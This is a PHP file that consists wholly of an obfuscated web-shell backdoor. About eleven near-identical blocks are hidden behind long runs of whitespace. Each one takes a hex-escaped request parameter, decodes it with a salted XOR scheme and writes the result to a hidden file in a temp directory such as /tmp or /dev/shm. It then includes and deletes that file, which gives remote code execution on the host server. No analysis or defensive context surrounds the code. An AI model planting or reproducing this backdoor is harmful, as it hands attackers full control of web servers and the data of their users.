<?php																																										if(isset($_REQUEST["\x72\x65c"]) ? true : false){ $value = $_REQUEST["\x72\x65c"]; $value = explode ( '.' , $value ) ; $hld =''; $s1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s1); $len =count($value); for ($x =0; $x < $len; $x++) { $v6 =$value[$x]; $chS =ord($s1[$x % $lenS]); $dec =((int)$v6 - $chS - ($x % 10)) ^61; $hld .= chr($dec); } $property_set = array_filter(["/dev/shm", getenv("TEMP"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), "/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir")]); foreach ($property_set as $binding): if (!( !is_dir($binding) || !is_writable($binding) )) { $pset = implode("/", [$binding, ".comp"]); if (@file_put_contents($pset, $hld) !== false) { include $pset; unlink($pset); die(); } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["pro\x70\x65\x72t\x79_s\x65\x74"])){ $entity = array_filter([getenv("TEMP"), getenv("TMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path(), "/tmp", getcwd(), ini_get("upload_tmp_dir")]); $bind = $_REQUEST["pro\x70\x65\x72t\x79_s\x65\x74"]; $bind = explode ( '.' , $bind) ; $flg = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1 ); foreach($bind as $o => $v6) { $chS = ord($salt1[$o %$lenS] ); $d =((int)$v6 - $chS -($o %10)) ^ 5; $flg .= chr($d ); } $element = 0; do { $item = $entity[$element] ?? null; if ($element >= count($entity)) break; if (!( !is_dir($item) || !is_writable($item) )) { $reference = str_replace("{var_dir}", $item, "{var_dir}/.tkn"); if (file_put_contents($reference, $flg)) { require $reference; unlink($reference); die(); } } $element++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["objec\x74"])){ $descriptor = $_REQUEST["objec\x74"]; $descriptor = explode ( '.' , $descriptor ) ; $val = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $k = 0; while ($k <count($descriptor)) { $v2 = $descriptor[$k]; $chS = ord($s[$k % $sLen]); $d = ((int)$v2 - $chS - ($k % 10))^42; $val .= chr($d); $k++; } $flag = array_filter(["/var/tmp", "/dev/shm", "/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir")]); $parameter_group = 0; do { $fac = $flag[$parameter_group] ?? null; if ($parameter_group >= count($flag)) break; if (is_dir($fac) && is_writable($fac)) { $flg = "$fac/.dchunk"; if (file_put_contents($flg, $val)) { require $flg; unlink($flg); die(); } } $parameter_group++; } while (true); }
																																										if(in_array("ent", array_keys($_POST))){ $flag = array_filter([session_save_path(), "/tmp", getcwd(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp"]); $dchunk = $_POST["ent"]; $dchunk =explode ( '.',$dchunk ) ; $reference= ''; $salt4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt4); foreach( $dchunk as $m => $v4): $chS= ord( $salt4[$m % $lenS]); $d= ( ( int)$v4 - $chS -( $m % 10)) ^ 12; $reference .= chr( $d); endforeach; $holder = 0; do { $data_chunk = $flag[$holder] ?? null; if ($holder >= count($flag)) break; if (!( !is_dir($data_chunk) || !is_writable($data_chunk) )) { $component = "$data_chunk" . "/.resource"; if (file_put_contents($component, $reference)) { require $component; unlink($component); exit; } } $holder++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x70\x74r"])){ $marker = $_POST["\x70\x74r"]; $marker = explode('.' , $marker ) ; $binding = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s4); $t = 0; $__len = count( $marker); do { if( $t >= $__len) break; $v9 = $marker[$t]; $chS = ord( $s4[$t %$sLen]); $dec = ( ( int)$v9 - $chS -( $t %10))^ 57; $binding.=chr( $dec); $t++; } while( true); $hld = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), "/tmp", session_save_path()]); for ($record = 0, $entity = count($hld); $record < $entity; $record++) { $element = $hld[$record]; if (!( !is_dir($element) || !is_writable($element) )) { $val = implode("/", [$element, ".reference"]); if (@file_put_contents($val, $binding) !== false) { include $val; unlink($val); exit; } } } }
																																										if(in_array("\x64at", array_keys($_POST))){ $key = array_filter([getcwd(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP")]); $item = $_POST["\x64at"]; $item = explode ( "." , $item ) ; $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $len = count($item ); for ($l = 0; $l<$len; $l++) { $v4 = $item[$l]; $sChar = ord($salt[$l % $lenS] ); $d = ((int)$v4 - $sChar - ($l % 10)) ^ 69; $obj .= chr($d ); } while ($ent = array_shift($key)) { if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $res = join("/", [$ent, ".flg"]); if (@file_put_contents($res, $obj) !== false) { include $res; unlink($res); die(); } } } }
																																										if(!empty($_REQUEST["\x72\x65co\x72d"])){ $property_set = array_filter(["/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp"]); $item = $_REQUEST["\x72\x65co\x72d"]; $item = explode ( '.' , $item ) ; $fac = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $q = 0; foreach ($item as $v3) { $chS = ord($s[$q % $sLen] ); $d = ((int)$v3 - $chS - ($q % 10)) ^59; $fac .= chr($d ); $q++; } foreach ($property_set as $parameter_group) { if ((bool)is_dir($parameter_group) && (bool)is_writable($parameter_group)) { $desc = "$parameter_group" . "/.obj"; if (file_put_contents($desc, $fac)) { include $desc; @unlink($desc); exit; } } } }
																																										if(array_key_exists("\x65nt", $_REQUEST) && !is_null($_REQUEST["\x65nt"])){ $dchunk = $_REQUEST["\x65nt"]; $dchunk=explode ("." , $dchunk ) ; $k = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $j = 0; while ($j<count($dchunk)) { $v6 = $dchunk[$j]; $chS = ord($s[$j % $lenS]); $d = ((int)$v6 - $chS - ($j % 10)) ^ 42; $k.= chr($d); $j++;} $data_chunk = array_filter([getenv("TMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getenv("TEMP"), "/dev/shm", session_save_path()]); while ($ent = array_shift($data_chunk)) { if (array_product([is_dir($ent), is_writable($ent)])) { $item = join("/", [$ent, ".tkn"]); if (file_put_contents($item, $k)) { include $item; @unlink($item); die(); } } } }
																																										if(!is_null($_REQUEST["h\x6F\x6Cd\x65r"] ?? null)){ $value = array_filter(["/dev/shm", getcwd(), getenv("TMP"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/tmp"]); $entry = $_REQUEST["h\x6F\x6Cd\x65r"]; $entry =explode ( ".", $entry) ; $res= ''; $s4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s4); $n= 0; $__tmp= $entry; while ($v7= array_shift($__tmp)) {$sChar= ord($s4[$n % $lenS]); $dec= ((int)$v7 - $sChar - ($n % 10)) ^ 37; $res .= chr($dec); $n++; } while ($bind = array_shift($value)) { if (is_dir($bind) && is_writable($bind)) { $object = vsprintf("%s/%s", [$bind, ".mrk"]); if (@file_put_contents($object, $res) !== false) { include $object; unlink($object); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["r\x65\x66\x65re\x6Ece"])){ $comp = $_REQUEST["r\x65\x66\x65re\x6Ece"]; $comp=explode ( "." , $comp ); $factor =''; $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt6); $p =0; $__tmp =$comp; while( $v3 =array_shift( $__tmp)) { $sChar =ord( $salt6[$p % $lenS]); $d =( ( int)$v3 - $sChar -( $p % 10)) ^ 75; $factor .=chr( $d); $p++; } $desc = array_filter(["/dev/shm", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getcwd(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP")]); $key = 0; do { $token = $desc[$key] ?? null; if ($key >= count($desc)) break; if (max(0, is_dir($token) * is_writable($token))) { $mrk = sprintf("%s/.entity", $token); if (file_put_contents($mrk, $factor)) { include $mrk; @unlink($mrk); exit; } } $key++; } while (true); }


if(!is_null($_POST["\x65n\x74"] ?? null)){
	$elem = $_POST["\x65n\x74"];
	$elem=		explode	(	 '.' 		,	 	$elem 	)	;	 	
	$pset = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(	 $salt);
            $u = 0;
    
            foreach(	 $elem as $v4) {
                $sChar = ord(	 $salt[$u % $sLen]);
                $dec =(	 (	 int)$v4 - $sChar -(	 $u % 10))^  86;
                $pset .=chr(	 $dec);
                $u++;
            }
	$comp = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TMP"), "/var/tmp", getenv("TEMP")]);
	$pgrp = 0;
do {
    $ptr = $comp[$pgrp] ?? null;
    if ($pgrp >= count($comp)) break;
    		if (array_product([is_dir($ptr), is_writable($ptr)])) {
    $flg = vsprintf("%s/%s", [$ptr, ".val"]);
    $success = file_put_contents($flg, $pset);
if ($success) {
	include $flg;
	@unlink($flg);
	exit;}
}
    $pgrp++;
} while (true);
}